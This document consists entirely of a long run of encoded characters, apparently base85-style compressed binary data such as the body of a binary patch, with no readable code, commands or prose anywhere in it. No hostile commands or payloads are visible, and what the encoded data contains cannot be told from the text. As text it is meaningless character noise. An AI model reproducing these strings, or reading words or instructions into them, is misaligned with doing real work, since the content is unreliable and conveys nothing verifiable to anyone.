zicq%*(>D5M_B;A4n>0{9g8X8?3FWY*kZsE;7b9^ zfG^j?l=FeF0Db`gbatU8sxHz*^~HcoP+kRC4OoNnr2uMvEy|MwLl5jSpqHb{709my zTm?Xv>}ure0M`JnMYZdYuh+y>_)xY1_(tHHG*Pn|a0ALW0=58d0^AI^1^lhZw;{h3 z`F6k#z)qBRq0ViZvtHE1Ol+%J`_M+4CT3&Z z&fbswCBOl|LBPv^aUe4>8*6X&D=5AScn$D6pi#_z1KFE^w*YSg4xzPokiQFf5AZ$! zn`QO~nlL}qgd210{#X;9PXV6+#tF~o$grdkkqZxc@jwyJ7odF!_zKNoiFpqr|3(wu zZ;^iw_yK^;#(o6tC*Z#Teg*sn_?;$B6AcRyJS+k%1}p(A1uO$B2b>RB0l0t*?@Hts z0WJny0$2rD4Oj!X6tEU>8Q^lrUIDlY_&Vg*0ImbR9{C2qCcq7VEr6Q=Tfw^(`F7+x z0lR?T2Dk(GUC4I>?g5S+bsx|@fCsoZc`p~|Jq*C+I}e-nyhniJv^o#wIqy;6j{zPB zJPCLT@HF5V0J$X8WzPbh13V9S0q`PVAD|V`2G|dH32*>#5b!eK6~L>2*8r~r-T=G_ zcnk107ymv4cn9z<%I^W*2Ydkd2=EEuQ^4n3{LdGFFM)rB{A<8rz!AVVpnZ${JLKO3 zegOOk_zCbc;1|HJT>R%Zj2k+ejVU?zP1F%yU3)wCZZr8;k ziQJ)!#S*y-up4kU;2yxefcpS@0QUnP06YlT3wQ|dFyIluqkzW%j{}|nJPCLT@HF5V zz_Wno0M7$n1hfM70}cRQ2D}P*4e+`ys^8GX685HUj!?}}%2>n7(E&^N(xCF2Yuo|!ia4BG|VV-S3=gWa# zLC88vuA$^wBL{bfO@!WHn16@BR>Rz8xXfD(+%mSKyaTY)Ft>uX3-GD#GLHfl5`ULr z-Uiz3fP>s+PIsBt0=)w;i(0%BRqry)*+x!^xlm0tA2U)-kCB55%4@`aosu^UbDm+o zX{4KP0qz7G|ZvpNEtdNyXM5Pl^=|u2PM5PmR zav^adBu+F}VjSDqH6o{{IinZG+6%MX%e+qXGOq`$2dpr9nd^8ja~bkq!8-&f>t${L zYoq9e1tiQJU@cL5nVYG614eVBFz-T@EmXb<<(mPw2=h0sm-!8<-v{2bUSbE^D$Jvx z{R&vdiLhOmx1!-~fE|JeSm-<0PJv_>CASGN?RLN&LWn!j=v{!_fV+jc1daZJh882g zk2?NT$I9(xE=T!y4dn*~mS`_?DasF{{YA3FN2%4vD0v*sJR!^rz&>BHo)YE}4C;(t zFdLPhCaJGUADj_8Xvgkg&j|BbspoUTyqKM2?&NvqdcX=J4~EP$R{?)s!yquF!^95nf$b)6`;C}MV7eyX?GE~_}o(8MpI@Fw!2Xp3O7VnmjMeS>G&1cV}$yWid2{H0@ff40luTqsy zX+UpKl{baC6GOO&_lDZNp?2?_KB(N=oY5QI^hP(m%}c>Jg#2>k-)Ozf)yQ9Gz0G$) zD+5dKjiL9(XnNyB6j(F8VTRu3`(VEfc!Zq<{|hxf0(=bk1n{ZI=_^Ja26nGuz5oq| zF!Mxap1{mgnE5ut`TZ?;-vPd-i)24|RNy}XeiCBDxSalQsY2{#zo1koM&OG1I|g|a z{DttkivWwsI|G&imIGD-J~ZHyPBA}VnlLUx`C^9{GcG3|9u$SufHe;DQpc(0TEO&E z#h5}d1}(1x;~Ixqb}EK>s(BrFi`7$cm^#oH@=Xr&do;L(ZFY#U3^9LJhlr7nqC>|JELey6v||Wr4KbfVel2Q_AD1&!jNXsx55Wh&g!};DAmC-d zD}Yx4uQ^~b2<)cwW;gbo7+)yHV}!4R`3B%khq+Ou9m8Ra;aCDN=Wy{9ZT&-HxG6^Fj1ql+cA&RkpvJF&-^hv%h%7Xbz#}}x77@1C zgh@xEmC&XQUW;9a!tloH5vtz%~Ll(MgO6Wt&ZOGZwyeEOz8rY^Sm20oBMk z0|P9;bZ<4y$pwg=OmkQPn!c6V-%iO6N^YYO>?CX#C71xvOsG|WLEnLH?lghiWtzVm z1?J6;0&{u+23cTkH48A%0&}@mfX!V1OUuToHEj1odI9!b0Y+J1mZ9?(1?cxu2lts~ z?~&#O+Bg_uocW!Kg?T@Ec>wSrU@zbyz{93FxS#omSqRZW^Af=2fS=XEobed2!2T~p zjAoiUjY4w}cHz@zP7wk$)O^+y)1E{Ayot+eKQX;9r&vt?g_)0NxOf%jl!zI>Ffn7f zDrWq~%*Q}Ht1zcjoQ1*@D4boGGeMjUiL)Vb_HW3c;6c-T3cPc0%|EA5oO4FbL~+hI z*t`rjFH3vXEW~z7lB=$xb$I?eo%g0DbSbv?Y#dcXz1R{|~sta0W{!TS0e0yC$% zm!AZvTC3Cl;4EXR((aFI^!La7&;A(Wl<4w*Nml}6S~3!sGonM1G!B{FRL$@Em<-ul%xgqr83(fNo}ce zskLuk8YP;mOs-j>Ve`ei)F|oFzFHSs2S*3pN=8gXuCLT~BShkon>x-&YCvV(JIA%p zA}p4~{xs$i*xRZTe=!KlhRQsu0OcPzijUqr^%!3*}mwHRXf>cx2wUcY0{y}RME6QcgFE{|8J_+ zaeZ6*xOOf6v7ywsLa80tJo#KvJF2cHS8rb{C&>!!{-_VQ62%~s(cb>+)IJkvhE?H; zIv=bw`y7k@ai$x`_n;alxZ=CQ8Qm3K+b5~<9U9%PvLhOZB2CaW(X2+z5}ThGA7`!{ zr>bJD+r@TCs_jz}G`p`{C4TfWmX^eJCfK=AcC2>nPgSIH%#7RH74?<8X60m)OML4^^UV67d3DN{NpQ8dNS z^V%;dT^`+9{0vVllvvo){t!Lc(33iq3n)2Kk#k4doJ`osCnFIjM~m&(0tlh zI9bAn9GBqfayxOQqrEC*K=UU!{5&nzST)-(>$F~J8OHZ-Y+nCYn{>tYZFH+9?d$k% zN%k@)#aCTBpJh9-)aa&*`GG#|HU(4qv_C}u-(S1GvROUOtT(Tdu@iMzdws9}`ud(}(zQXo^ z(jA6Tpd~EEl!I)qBs~QDRravN`=pu!l{cBvE!7;P9AfGt*v9X$N9in9x~7_^Dev2~ z57=XpmYZr0RX(<9pRmUz?Fp7@4pTm7%9B8bD__x9hZvh?JZ)#sAo8Hk+DDBrNu z=Rkd)DfvB>pV@eMhG6 zf_ap^hjgj>zNCBre3^=V&sRSLx=8&na8&Absk%^Q%2hOg%T#ExmNdCmU8G8Z#o%3` zE>WraQuPG0K-s8vUZ%#(cdNP_0yn7Vt1(M#QCEO+3z=`bdI8WI)s?EW!G%)hB9Jzz z7fbvSRT>0JY^LsSrtWW|?zgI|RB4FSklv=QLC52iU25k`;~no&*MfDwdYNqKa;YD6 zf2Vo{==Z8uBE6fGctE|%?*3{}Zd2FAySzia29(>Wa}*q*MWDRdObQG zuRNq?qQ_^{^8<0M%-U!MTm5ltXdJ`y*s5i^V_m+5iKDPJ31>?UQk`=>}7R_Y=5UJrxJBvRCl4$OX_V%_fggTRJBdL z9pzSP;GlX3&;zP^r)rieuc@i$s>#qpeMh|)=^^z#r0=PF zkiM_pkMu3|0i++P4QI(w5W5B;x zA6Mlbx0QZUrN#IZ(jFKcQ@&82LHf1&EYk1P=a7D*J})c0fb@8bkSSlP`;Z<{TakV) zmHAd}L;9840}7NWKdC3~M{$Yv64FK50aQGw!dleIDkMw4ZR>F1K3g9a2)FLjE&^w-cCoyoT>|`JZ58mUc zQCLd_O}SmW45YiX%aPu#U4eAFb|q>&s9go245nQT(l%`!NDpY&$gZvhzDK)GlPAOV zc6J$>x>H+^!UhfFqHE$6Al-^~HD$N9303aZHY2@XyTKN^QKS3j7O;0{H-Yhxwgo-y z)NZB*b?p`~b|F=j+q684?QhC+S`JA(p>4Gr*oI22+O0@m(za`4`5k0UG=X#w+XdNY zpgl2e1OBXbyTtF1W4II5+O)fD<#*fJ-Jrdo-GlUb?Ovn@wEK|m*Y=?HQ`-G@uMdE< zPb0M-*B%7pX>BhkFKQ0~e^Pr`cCl82!ZpeV+NqC#_o0R<`AmBh=r`J9sQ8xlIE3HR zXf9sYp0GQA66}w0>T1es+Ec(k(Vj;7j`obre%8*Oqid|I;-Ju*#7%KLUd zA3)-W_M!GFGp8#*XzU{mVS)BBm1iiwXzUY|f7L#v@>$AJjeUmlLjF0G&sLUj_65pI z`Ip)n)jUTzpX+eWEBRM){=e4bHidIu!4IRG3-}Qdo2gvP`8OzE!oNl3)%*j*G^_Y` za*v#-nzhPW-sf($r?Q2APkWR9pplEb50tI^M^JY1pOD_lf0j=JztAq_zaqVj|3=Rp z%I}&C)ApdkCVo^SU$&5A`|}4u*~}LKzltyBw9)s1at%MXmvR}$Sd?q|Ql!`MWk}ca zyTIJQcdNaW%lSRPZ|2KEzmeYy{Azwa@LTu_PV4LfPD^GCAhvb#~ z0i-+l#h|R?mmuBFS0TNfKZKUA;H&w`rd!#~wKcq_ayP$P>!sYqFXd#6o`&gB?&E1| zA^s4*4Cw>>a!y0M0{DYmo;6njy&r9n23K)%;#YGT@;Xjdy9V67{92@Y_;sKhQDFxX zUC#|io$@GW8&FJvl?{ibJi(1kvbb5w+#u5%C1s69X)zJDK(=0ahG*U+`8Uh-7MX69 zsa<=UOm9WkPxI}vjUAG*Q>MElKGJQa%56X0}Odm?L_b}S?DXp=AKZ4@9%1fL*Dn%YcagOpbS07E(cpNmp z@)~DPNZOMqHYsn$YCMHvKsgjEK8<2fc`sIc2E}IO!&vcI6#t=o5-UE3Vo3Rda~jF# z{CP>V1BTr)eE|Yt$XW#~PzAi6nuhSxS zXm7|Z0(&Vd^tX^+tiO%)68#XTTh=?kFVx@V(iy#n%=H9k@5?G5aQgo$h3%A;`bS7F z(mzIef&K}9jXVCOtf2=mu6@cgx$zm#)b!7JrY@ZN7hF+YFL3rHSGem%&c5P`?%K!M z*IZ#P%==-kXs$NSQk8DX2}+(g!ZRKHzu}pp-?wO>&v!i2Jmq_yY4rU8jh_4r%jCTW z7(aq=+E3_e(9aMb`U}K|{0jcS-%w}paN~F2BaVVUa-p8-7`sT%G)6DhGxbqR^h_~k zoW4{?=NQT|9m-)C%k@mH@O&Mbe8$-d9h!Dy#mZUc1$w5-vl30zUI>Y^FGB5E7wehk z>`U}ar+XEeow-`i-Ef(m25rfzg%Yl&S54veMjRy{NABDNhW zFJe1jl4WeCt{53kZ5K>)J^(vF#J{^uH!@wDbauP0=ov2U4qb7ggFAI2-L*w$cfqnlfPSMZ!_aD zLhshu<7B#fboK;^+^e%EX$jn?v!^gF*B+fcjiI>i*Kv_HpCR-CDauInS?KI~P-o9k z)xA1@&t*r6!)!*_X_C zjTX`iI(wZK!akk7p&N#)O=oZF26w%rv$u3Za~*_vbVGN&qO&7#NsKPPxJ=@Lw^vng z4SH2oaH&A#zglC5VC*%Bgq5wD`VJaLob)c*&QKBCshhM+1b6SDdq^UhV($YrlIi^B#d$s-&t9)29|n0zbT8hqfZT!G_yn=5cla6}(-HlF~u4G)o zSRGd~FJ;W)N~bFrtLIARb&NG|rOR!MHFBlvlZ>roT`vVyq8W zj(eA}Zd}R!kg={@$@!GAT&^7d1!GS@rpIB%o?N#<|jGmBxB-rSH`mI|6FITQqh&SNbCq zKbb41All92O8$2mTdQ&9RD^UNA|LRZ#y& zgR>L4GV~tKR->!aALgtlSB5>t*?P{|@FzLjh^bDchdFxz zdC9k&wIVP5fwMN`6Mp9GCFB#~Mh_q_TZFxVe9}^#y^8!yxWm_=cKM|``vm!9I?I@* zu?aXa>6;7ZzCkm6xigf;z7yyNJf?AN-yop6W@x)D?dlH3 zxNhtlw69EoGA8|6odHch&}Zv|X6rLpkH-F>(=T*<(7r*lzUKL@-2FA5^##v=fxExp zvkvq8Hts&mXMM@@U*zsD`K+&a{yy&hicgSNl%&>EVy%A|ZC&lrcnavL32UUOD#y`I z6=n@=Z5#+vI+4=Q_n_9sL9rY}d(5pq)t80ohYqrBvqxs|%KK6zv+* z3X)VSWVZ&2R@xeJ{KXAPe{ zs(x7G@L3~frcFvy8b{dmVZcZtN%pLe+Sv8dj5OJ zhE3&_pTVQA!L*>6&-JcP9z6=_LnJj#ot;+yg^uJ);FVwLDmp(-)46^VL+=OszTDT# zXOC#D|5~pKB(j2t=q2X-zh^;`pq8U;Uw{mUjMD$dt3ib zX-UK*`t0G``*%uBA|2NEgOb&bk`Uj}wzCt0+ujpBd<{DDK&Semt`{FY+6OBvTNhma zhR5~o>(%>ujn+=sAG5}^HjbG+X7;d+EeD}yRMl%4ESKnI7?y3?E=5VGoM5(Xa3}PT zW9fsjIHBguGd#TX4Ay5`r++Alt$`vBf7jPzSBot)_5Bk4=WtZNFgJXw2?1rThnr|t+nfy(t^31bKOI(j<)aY!up~- zrArSv)i2wX3inf`{cBoY-aoqp>V5|Q^&PFD(w}vODr_qKMQ1GsW*4^B|4L43Jg_`g z`lGJqDWJ$MF+DwLt_0=^RZ#4uq1X?_@#s=bF%)IyxYBXT#My3>Vz`&0UTgg_!@XQ0 z=Ns-761l)|uQb|vcgazd*7^&L*3yd%hGq!&a1V~{4V4!gs)u7leKdocf7>@`I@%m$ zvDPMLv9>1FV*8ski}@LBj7%-P#9;1E^aMqdlvPGXCq>ye$ioMntze7xA9P9+>*3HR zux_KySZ%B^v`Y;|)s(dceR_A9p)jY?SI5bACJoT^I%b-aOl6_j-|O(`Xy4=T7--bv zsK4BpnUTNPXxmVl!91e!3aCrOJf;7B53jt^;H@4<9>OJ_s5C>FmDx z&-FdIpVW69G}V=BptUQiZ+~ih%Kw^$h8=65YyZ5%kz-|t*GU6ipJbp@c&f(NF|tsK z*Oj|)z2QxnnKCIwq2kQ-#-#OzB8eVXerNXv!{h4X-Uy%6sT+KR%Ol*wJg(mEO$Mc# zjSL~FPATYdkda*;lZ>1Kliz?$8hSq&+I=HYx%&wBr1Wubp$aMPn~=4+zk|VD(%>!_ zJilGcb!u!^+-%sp!syXh3i^P=t{AAoQ5=s5GXFB8^cI8V9qnRbw{6AR+-k6i`3#K? zqBwMMBIw9n=A|v(dh+VyH_PpPkV<)D?83`-;Rabigfd}&DZ=OcD~%1aC*YU^z5(^y zaA=$YN7$A(X46L0nb4Myk`*=_Tf;;9e6Y?n{*9c1G}_1cR~h+N8>QO}b=iSd)F{2x zVBpZsZp}Mdy4_&;*BM=4|Ct&#c`N({XlkhjH8XC(CXC8lZ*)2Ck1|jVVv7@E>y0ki ze-wimNbYQe3h-7et&Bw4+Q>KUFl1Nz?J^>7n}UXM3=>7`(j7*Kvb89i8l(Bu&EiI>IAiMegf-yAbyTRtn@WiT@AjUCXo$n^p>Cy@uuzscAS_XU!Q zkbvhM-PXyaNGs7PtB?(q{baEGn~e>0U11x*B*F%}vHh~@%lokacftWfxuLW)yI{O| zPC5bdZ!uaoU_rLh&E@oV>wH*jo!=H+=b}gB1ki^k*7*n^d^8%Xzujm{%Y;5yru!+j zS?#{Vpi>}DK)JQeeW%enJGK5UWA;&Ax!a)Fd!(jm{6ZM3=i-Aijn?|RjZ%2;gKhQq z7;W`;0`4$2?&?o=?nii@va^5Y@v@K**svp6V0)*&6ko==xz|wJNYHJ|zuw+m>dbeGDdU?heI9A=?=OI!UOVaz(ACTkO zW5BhwkrbUu10X;&8$QuD(qJ}kjEUH=%7~Fy(ICgr+?|BEYjZznUQm5)VNrK3mVM9|04eY!WUmrM2h54n4(K5Lnt|1ozj(`TKp z=YPiC=j*dp==t5;D|AQ~>JE*+tHSxpt5X{y!ObmReSd5HwZ>+OxG92#Wro2pIMlwN zs~)1^v@ALE!#w)`$J(2~NmX45i>6T%f+4Z&HsqNYv&}e@)ky*UQdi8l(BLh?B{DnP6iJ$i9OjbT^AY1C0v^vdAL))>TD!BQ7922%;bg2)zF} z=f16)YLm?W|NBApz2|P{o_p?D?)DlX2{U5|GE}&5&4+6Qe}U{E2DT3V4$-2sJJ!^( zL`5epJOBlw_oG=H-=s-{bm(M_{z(nZ#^^u5JU-z?S@d%decOx5Q4p@yjc!cAIT^)} z8kO5N!9;+c3GR8NfMIa(G zG>XkYKKpLb@ZIAL-xhcH%--1n0RNXjsC+N9VDbH2_WJ;eD*(CyN+qn{Rt{v=ZxadR zjD9Nk!9PI0@L3!~W+sScF91u}s_1#>mCRfCLoX}tRp z$1ya6+utuFwrRMw)E}2Mz{812AQA_t5cxDpIIz;Y^#I+Gu$IGMN>BkHvRo6GRD;0a zJqf`VwVVagWT0%VbQAv<6l;@&~AkZGGz6!AKxO z0secvY_ryA?bcci{jWhfbk~U9irqD8^jqq{27_csC1nnbUIT)PyPY@m?rqR{!_bq7 zy!Eo%Vgj+~PFPSct#xj~zlP9T@526{5Nv}B`(X&S(S`j8VKF4*cFo$PRdhu{=B&+_ z95qE`i<|ey9TC{-CJgMDu+2^QNvOr`F6^fv*bW!=GmrUpxXc&novjA=&jaTBH-3Yn z&QwTux5IyLapm?w`t5^^+XtDq4~pDAsO?<{VcD=Cwx}clgHQJ8j+_lE6hX%UF9J zsWD>m+=cL~JOgoc?!tN~ZY%^ZNrSRAWeXv1jlQsc;ow0LC=CA)5UB?g0l}JXMmNCC zTND6fdp_wnKC1tN7WhQB%h$EhWpLk#)X$rGIZpBko*WBi#8{x}6C6#fU*Ir(B>(Nh zG#Z9!^xrc~f9qKE1;@l}#L+0wX!yeb<#8PTO^gH8)pyYUhe2ov69^o~i8Kg6pqVfR zF0%iF2Ec%%{$1Aq@KpnJ3wk6~+y-MXCK!V;GzP!az$*BSXXPflk>tN8rp`v$U){~~ z7^2?-3gip9LQHLhcIdC*%9t^?UPNVzM!l#)(VOSi13F^)AahU8m5zgJ8cA&R=RvF0 z-6XG}uVX{G0+hYYVe=^vGoA^;(NOqi3Mby?Dm4Iz_gpU;NNHfQ-6b0Es?X=Bq*t3) zQ>Yd!d2e^n0>jYQt7}8P1j9dBX0hrrRtGhKrETrhtX-P5TeJ3PR*PokG%K%J1iJsVK zw*9mtsX%tdWbzqmwF(_Aguzid+%_0U*c%&4?!r-`Jh5nemnPF{6bzC}sMkdGX%(vf z8ub=x_c}@=QGwOiWkl-uZVf!mHlNH#MClqdKkq6zj!`j=@jV*z*TJyl2~l!TkwI~v zC(~P8nO@dAn*#X#flSXRrlS5uG}ULw4InRWfRXWA1REiq(kz=6Sk;T4+*V`*2NNGT_E1SQguaLrntHs zTJRJ&)U3KF@aTUrG7wcCh3%?&lQ=WeUYvP38mrHOj`L_ZNV7)C zHJWR$4h9K(QE{Uznt|w1&5g>@pF;GQ7geIT{<4y}Q8oIH5Iydt@@QX(p7UzfqP-w` z$;+(!#;!reu3>1s9)R(9`I@u$nsf4+bM2bb!*OnRoNqYJj~xfn?&50q|GwrJ+)(ZN zbNTpMF2exf=w*wz?%zGG+vjp!m)_ZX0scV1b-z|%xF2Pmuw5?xss??}?AItDL4XGQ zHK5n)z;h?GimwsRfyjMTFy~DHb0W{#z;lybo&!cZBp4053~7b<6p@6eKZsMUo(abD zm@axdt~A>@%!tuHi)cPRiMkwp2!}8W^t%rn5)Z9*>!en22NBS-PPs9LwOQv`A>?wr z?WSGtawxr?0heRA<4pDbJtJoJLrAi*a%VH-RWU1Y@H&el@rgZS^U^FRUIMPj`+F%8)2Yh{B~V9 z%;0DZ`ljG+EKq8Ah(>2LH!5iKt``+Fde4hqPb1!I3ef0onweS0sdXHP3tfQC$B$}K z&yTJV-~6AVx%pdvPu!iGU3+J3fd4L-o4?1k*MAMBW=I)8=Z*_L`-~Kp#3x`ib&74VZecD0MQ`ctIpd=Tj-Dce|+r7zgueL-wTa= zO=lzjM;!T=I#up&#Y0$!ib=Wu4wU;cPq}B#Y4P(g1n+CnANsoe0t|r*{D!B-Lm5Bk z>-$i~3g)p^2D=QED;PmVLt*YN*YQp5je z5ikA8-wk$o>4x6fntpg4)#s)Ei+1JXooRSsSY8&o`-eq_{FQsY-3*LQHGBySHYwlCWQ`|_E*)sfTQ4>;|o#hiw`G(`6~jpUNzb6SyHQi+!y)qPI$cu6B((twx1M$wL3b1q(U zx;oBh9p~$g14?_i;G*R&7yZiTB2P+Tu$Z_0yNI{`;_+6kE_f^2J39#ALl`b%p9YRf zJ;|-dSoTStn!~NJJUfS{W^wCro}R^1%lI8#(#v@2Ietf3`Z=Cz=66KW%{=uIzoT3F zC7xQz@93Id$y3w#9cFqOPd(2o)6etN3SO07!BaE1Rm;;ecxoPi=ke46ZcXLc1w8cv zx90Ke3p_QKTjP0lE>Atntwx@GmZx6i)nrCP8)Ix4e=h=lkHJw}6)a-PgYUI{Po^9l*RXpjiYKKYbRXnvC@L7#(@sBdx zB&h&$%;ffqJXw~Dm$7_&CRc!PwM>;2wWmmIa1-z7;-(G_r#5-1UES2jm9nxaXGpy=NJ|dYWB2u~yyJ%Ip}LCc z$;b5S$8?Eu#qP^x>hxUZas37pcj)T$TG|={KrQYp;6a2Mo*1Uf=(+dl)2A{qT-TEI z3SdPGCv|!ar(+!yd)$jv*DI=M9Z;Rk3pHANgwCvCz_r$JJwH%(Q6Gjc|EN7$?#$uY zr(`_`_N(V|e>^TWJlx%dL3c+GeO$s%=k^nNW~A;VKEX6iHCMCJCjsmgyn8pWp;sX{ zB}VBi8ljjygC|Do%wEmA-wA-{d3g^3FVBq8?M1Yq6ult?T23HfhDu-tdmb9`k4fWnWxS3L z$V|}jwUmjv#LA?R_*NVeEICQHCg{2NWL>IHOww@&U=(ArC*()7qNzKEd2@G)J9oSH z&fW(JV`=VofvLNOThH?J8f5Kp3@!J8$WJ%43o$%ZCoz0ik%=))mon3J`~J)tPMcwc z_>;PXp7v892WP#i&j2QJd+aR^B^%KO{`_QG1zNqtx`vh}t9u zj+i=J6}VN=?g8klSvu*fLoBSX>H)n5-OglQ<`rAPSm}YOYIon1Y}DhkbtyeZFJ$KG zlJRzXP zgqkS=-sCND1ZYMT-!=+me1~l4M%|jM#~0`f5Gj|WN^rG{`xxDf&SD6^z!X{tl{M+O zIrq5YZ_c@h-3OPNvW= zuQ}VVIR~ye?_YCF$LS5a%W?iqm_lGb+;q*iA0`*G(-fbb7P;)yqjxp~2~&M`TF+G#|Syh>Wc-dA1h+@CBRF~y8WxndS0;;FuvFKfR+OFo&^#=r$?U;EjGDe z;uA=k<{KTM{6i&g;6uRQ;JA(eXs z8nrV068)}%-bOPR5R+%) z7V=L{}Zi-+ke6X5}B1cl!MqXR@pSAZ+8t3 zsK5v{dBF|5sayw9_vd_Kjf`rip5ZR?P%=O2mA2Hw{z;4M!(J_Tu-SeX55Lx`P31p8 zRj)vNr=HoM!(ZsvdR@dfy77&ALrikbh&BRM<`cW1dv|Ac>(Jdjx;=!EUIt`R58Ewz z_F+J#0SpQrd6o2kE2#h5QT;=ioSw<+gC7#X7)$4M0eo2}`O_!tGyUB=smue$~Fa`l~Dpp@$L=Ny*y2`tpq_Jufrkefd%yRjWzIa^ha}>rybj{_T1b(|a(}u)q*DL$B z!yGOc3j9WI45w6uQ;2wZBwo8qJjJX16JG7`^MLgo6dW(=;9XD%+={pujzT zid2PbWI>H?k6_Lvz9A)loA@nsI(Z|}+-lNelC=na2Flep%83VAKe=q+&vE4b{TbFI zhVWGw!k%5a%mGQtBSU1561SthdOMz6z5O8-f4FPN#-zcR^dNggoQua`W&_LYhh~UO z_cIUlnjR$1rczi~aSL||6@DFhT~ze-;-bp^VSXO`kQ$l@1OnzoAR2A|Zip?9$~;9naq$&?T-&2X#D!JD1@R7m!>~?{j!O z4lViq_T4d-xTeaNSCuCn0;7J9MO>h=P^85{#~l$ zs2)=m_eJCIa}63m(ps|WtB#v!gRsu2DTM`=>;B{x8zfcWDn zMjxY??4>t05O!b>e37S5>ruQB;v(_3+9N`vy8`vrX&l}&9(%mw1$OJ!8mz|^3xqFW z5WBs({A;MKy$+NMi5aSbSh3uNR)#As$)JzYLH)!xm=NhG^Sl|w4zeBc9vS&VeuHML z%Oy<=uc{rVGX|}FaJRkP{u3B*(Vx*}w8AZQt@hnH#18#v3ZV@oLTD3-5Lra_f032r z0X!SX2Y7bSU8>T(0nA$P7qPj)Ma{L@cjx`)@_uu9zq!1q?5uA8M%13~*j&ET=AhC= z#Ej!q&kX4^@Y;a8yndD$H@VzIlyW<~~o8Cd>ql*Y+FRR2K|m=C4~0osAJuAb;KmF|7zQ#cL0U%XNCMN zb;yr6(pb+;NG3N@JeluOLt2!N6i1=kCGW#5`Ga%;^jewpfsU72 z7Bdyp$veI<6O04WEKqEK@j4k8@I&3MV|eD6w5=xyAb+XZOFM3m?V>mRFBNN|kWMKQ zf~GJRWNVAwguX}#ty+W*+T}$GIa=>ETGd1OkuO|x;2(tgDb_!K8wX_IuYQexc7r@SLfTFy zGeo*fW3vS3c9(fdC&pTzAsU)%w?Cv6+ibq|RsPwqt@V*ksb2I7M3tyTeOfM;--=nU zH&xHcLZA7yx|Wy>)|#4Z*3baMOCRW{K^`V-Hkd5^=+4t6m8Gw`Go~M1ixQAh9OK$> zqEq716m;@IE{s7632&{DoMPoJ07Jja9 ziOJk+xXve@oo^i64nEjmDvBxyFRB3L!5NnWH+U)OpJ~21icIO7LudkuI0*ED&==o> zswnOat1KGC1M`is`(~$opj!&D{J4Ttsy=M578&~GL)oxkYJrLHm?6oU^sK+yRA-3Q zrk=gCS?JJnq1C46Arl>v7OPESW#|Qzn331ykO7{0il$ZeDQ3ez@@N}{4@*&ScPE6R z;4{zlqvR)#B-c1K5h?b#kr`%Wh8x)+R+S!MP#AumFw!I42-zr4vcxD-Py_&@VQLWo zjD{&5V6;)09%E3TDm_*Ngyqo?WD%8&DgrvR zqSg)1Ls2)Oj)uW)$yqEhi%G6~E;^sXWu;&|GLwz;WCPEka$FTPMamdf!=YE1DMn(d z0bxAIUc&*Lxu@rT#|aUTrspJ(o!yWEV_9M>lfC;7P||j z3z8J^!0hO{~^=?NOJN2VF-T}DiSFIO=OnxFHzGS!BAlb>{$owpK-Adl|}CyP)m&_ zbhD!wYSJBS4+-rv@(5)#X;O8bfmSOCap@UDQp=?I25Qxnv?`3}tcNtQwqz3{_E=!V zn;1igJs@vS2J;2+gTL6SJs?xZ6OVIzFXkmCYbsw&y0=eVdziaGhCGc+SRD224E9L* zP&$y}PK`X#ii9VHH? z%6o=uaM>8yD+FBWQDHSL@ALwFJ({6`GMXjlu*$?7#*(0M=h8;R8d}BvZ(NEKODhwM z(25E~aES&46|I~=l++nThie!gZa|$?SSPs;6L1g+NzC;{J-yIKf;t}wI^!l67-InR zmVKaxw{<{cE!a&epHBOMTDvPw@%DI+yYVcd5QaGnfW&F|qIa8cva9j?^( zn#;c}y3k3w-w785ua$bg8OQ-7dYRU8e(tFp@$!(TcQQxyoT$D5pAHdKqYde*`%t|A ztp`D#Z)^a?1_~Bmj2O#MZ>$5+!6Q>;v3Mf%1K5-x->N|!%n%DB*%=JjQTXmb4shO^ zjL^Esq>$hx^C1kNV(X~l`B3rGZpBYCm<^$d*OjUms+vhvJss5jbO0#10712Fp!U89 z?TvTa8;>e0)ZT{c+Cw`BvP0F7xgVR(RWVrLsT{l!`30ldA$^5>DVEkgK|;^zD8lN}q6DUJ_nukN#MeqW>yOurS=(M;jBFuhH)ejsDQ9 zC<+)o@efo@&;@i-brX|Z>WH0;^diFza@_YN_ja*icg-v@?0K}TQ3AR0+Yq-0d9v9k zky_nsu*4S_p3W_qiF)p3`V;}Vv4kZjO4F_ zLmODO!6HIEu~c##ON?Wlp*s!?T`*;3Fl9j&ZY16L1<;E?v!1TI6Ba#mEX@T5D)*I- zDK`GPV!pkyiL~%7ontGWHrPzH-v_k^y7otcU1=Q-h7p(Hn)-GxcgG_Dzf&4~Mr|sm zZH_8X#JEUj-(4wG@)lYW!28q7+$DhQ|F{(95wMMJe-Sq4-Ce{qLlZ`r@wEZ92Qq3%vZDw{et_E!8_ENDLK+!$io*#;C zFOKH8{hS}YG4l$yUl6@swh`aXRmKS;< zNCds`QdkeIGBT^dcV6RGZ~*h*mJ#iki?xVnh1|LueNd$DbZm63@az|}#9}5T0ipS1 zhV5V+M)rGn<9!3myo}Q3v#z7N&d97ctTq*|+)x_6#gjO%D$yPta##e0+IA8s?TfSd~tknH}%t`h#jO2exoan4P7u~Z70N6Q!*MPCRu3bFoW;MA-%L~bku zwyTeoJR6%s&9uYyqW#$geSV&%RgP@tp`t&yg|mdVaDw)J5!#pxS}Xq-e2GXzizdWd z?u4kIS?=erOz&{HCV*7|43V4Z?@i`O>dgVE7u|phW1%UA^Acyt7@8$`vI=4ll%nTx z(F+u8cifz}UPE@w>~yCp9v(?8p$(zs?6%j-K;p&^=}LA99k0gvCX4!(c+F*Yp^ySa zV7OgcE>FQTKVEBYv5BJCe?T#a`X!I*^#s2c49#B@iHu-rfEY+d=QT zaoOJvQfNC!G2~uPI*#)GHRl$`8RR%m(h6I_S3kR5^>b72>@&!udqe7{m6oLYgqEaJ zt66dlt6l?BV>Po^v&0?)IiZay3TfD!eRHP8$m68QRi<+WWXa@>94-R(!>=&m`u*|n zagx*uv6{Vt*((_CwXJ69f+520w%=X@Etk~GEP0dlwqAV`%R+E1vtMTRI+j?=N^S|J z)?@b5I@a`nwU0q9_0}1^9*eK1;_I2cl8TEg?@&XxKtrpbWC-S!TE(JXs&&?__gy_) z?<%Ty6|-NWdi$}@Bz_cHR^G?l=WCL!28sx(;T+b0BEmYaCt3}(LtZ62j?Ja3;TrHPKCoeNX= zHgjtwPjBX_P25_+)0=o|3%6e4=`B39ja#dEdK*t|<<=^m-ii$##3xg=?${tW=L3|~ zMwZWRL`2^L*5?{{o%Tk2Qsa=1$EyJzp9DN^guI6dj~@dbe)BuI^)gTImE+bcJe}jI-P~Hw)4O?U2e;Pp^bVeC;nqf;Zb1}}bVTtL zK=Bns@u-jDD~RGTAI1FvioF2Eo{;xAq4-BYvB0g(JY5K(xQ|;qczPdCwQ_4KPq&7U 